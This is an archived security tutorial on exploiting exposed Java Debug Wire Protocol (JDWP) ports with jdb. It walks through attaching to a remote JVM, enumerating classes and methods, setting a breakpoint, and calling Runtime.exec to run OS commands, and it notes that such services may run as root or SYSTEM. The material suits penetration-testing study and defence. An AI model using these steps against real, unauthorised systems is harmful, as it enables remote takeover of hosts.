Archived security papers and articles in various languages.
JDWP Arbitrary Java Code Execution Exploitation =============================================== Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for communication between a debugger and a Java Virtual Machine (JVM) as outlined in the Java Platform Debugger Architecture. It is often used to facilitate remote debugging of a JVM over TCP/IP and can be identified by the initial protocol handshake ascii string "JDWP-Handshake", sent first by the client and responded to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable services. Typically this service runs on TCP port 8000 however it can be found to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on servers running Java services. It is possible to use this utility to exploit remote JVM's and execute arbitrary Java code. An example shown here outlines how to leverage this weakness to execute arbitrary host OS commands in the context of the JVM. $ jdb -attach x.x.x.x:8000 Set uncaught java.lang.Throwable Set deferred uncaught java.lang.Throwable Initializing jdb ... > Information leaks can be leveraged to determine details about the remote OS platform and Java installation configuration through the "classpath" command. > classpath base directory: C:\Windows\system32 classpath: [ ** MASKED ** list of jar's loaded in remote JVM ] bootclasspath: [ ** MASKED ** list of JRE paths ] > jdb is capable of performing remote object creation and method invokation from within the CLI using the "print" "dump" and "eval" commands with the "new" keyword. To determine the classes and methods available use the "classes" and then "methods" on the corrosponding class. > classes ... java.lang.Runtime ... > methods java.lang.Runtime ... java.lang.Runtime exec(java.lang.String) ... It is often necessary to set the JDB context to be within a suspended thread or breakpoint before attempting to create a new remote object class. Using the "trace go methods" function can be used to identify a candidate for a breakpoint and then "stop in your.random.class.method()" to halt the execution of a running thread. When the execution is halted you can use "print new" to create your class and invoke methods such as in the following example. Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0 threadname print new java.lang.Runtime().exec("cmd.exe /c dir") new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502" threadname cont > Exploitation success will be determined from the output of the JDB process as functions returning "null" or errors about "unsuspended thread state" would indicate that exploitation was unsuccessful, however in the example above we can see that the java created a new object "java.lang.ProcessImpl@918502" indicating the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting to "java.lang.Runtime.getRuntime().exec()" however see the method / class enumeration when attempting to exploit this flaw. Your java will be executed in the context of the running JVM application, this has been identified on services running as both "root" (*nix) and "SYSTEM" (win32) in the wild. -- prdelka